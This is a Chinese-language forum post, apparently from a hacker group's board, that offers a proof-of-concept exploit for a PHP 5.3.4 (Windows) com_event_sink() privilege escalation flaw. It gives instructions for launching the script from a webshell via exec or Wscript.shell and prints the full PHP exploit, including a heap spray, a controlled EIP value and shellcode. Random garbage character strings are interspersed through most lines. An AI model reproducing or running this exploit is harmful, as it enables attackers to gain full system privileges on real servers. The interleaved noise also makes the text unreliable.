|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中% t$ @7 m2 j% {" d$ v
% |- K! N+ C0 C- J2 v) W" u' P7 \9 C9 _
测试方法如下:cmd /c x:\php\php.exe x:\test.php
6 k' e4 J( v8 y/ p+ f! z+ J
! L. X0 X* }5 o: d下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
4 C! o4 a; v6 B; K3 ]4 ^这里是两个测试的截图:5 V& ~0 [ s* s% R
9 V9 Q- G1 Y/ i& D( x
( ?& \& q: C" z; C5 M
; X0 `( c+ ~, M; Q% I3 ~
/ ^* w( P; J7 @$ }+ }
. O" o" {- K# t7 E成功利用此漏洞的攻击者将获得系统的最高权限
/ \- V1 X i# l6 ]: m# a
% S$ X- i# B0 ^ L; @4 T
" ? m0 t* H H& A. t1 t5 P! {5 W; L r* M* s% A, A3 r+ [
" X& p. a9 T- a; ? v e* P) U( b% | G& ?/ m, `/ K% c$ @
关于漏洞分析稍后附上。一下是PoC代码: |* S9 r4 z7 K1 Y2 {' N/ G
2 d. X! a0 |$ H
<?php6 D) H3 C# f1 y6 I- [
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
8 D% E4 {$ d: E7 Y3 q//$eip ="\x44\x43\x42\x41";1 K* ?+ ^; T8 o$ F# s
$eip= "\x4b\xe8\x57\x78";
% S8 x7 X o# @0 k; d; Y y& L7 T$eax ="\x80\x01\x8d\x04";7 G7 n* A' S- e" [7 l6 k
$deodrant="";
7 X0 s' |) f. R" ]9 G" T$axespray = str_repeat($eip.$eax,0x80);
) B# {" ]$ ~ C8 M//048d0190& h* Y1 G! G) `: h/ Y
echo strlen($axespray);% e0 X: @/ ?5 d( Z/ ~3 e/ D
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
1 o. p# I, m5 K* b/ Y8 r, U6 iecho "Silic Group Hacker Army - BlackBap.Org";
- b9 G$ F H# w. u; R6 `//19200 ==4B32 4b00& g/ u' [5 }2 N7 o, x& p! [
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}% K( s- B) u( `
$terminate = "T";0 D* x+ a& o1 b& |
$u[] =$deodrant;/ _# x) G, j: Z" ]; S% V/ |
$r[] =$deodrant.$terminate;' C9 i H% r# E) @$ ?
$a[] =$deodrant.$terminate;8 S, a! z$ Z4 b: [9 ?
$s[] =$deodrant.$terminate;
: b3 E6 j4 }* T! w//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的$ j3 S* H. n6 i& l7 ~6 S- d
$vVar = new VARIANT(0x048d0000+180);$ N: \5 l" g4 e U
//弹窗代码(Shellcode)$ ?. `) Y D- t" g; A
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";, \6 c& }0 w- p5 [
$var2 = new VARIANT(0x41414242);7 {2 A) ^- m* [4 c H9 z) P
com_event_sink($vVar,$var2,$buffer);
7 e2 K: Q8 W3 R+ F7 R8 ??>
0 A4 ?( j- K! X5 o; V |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|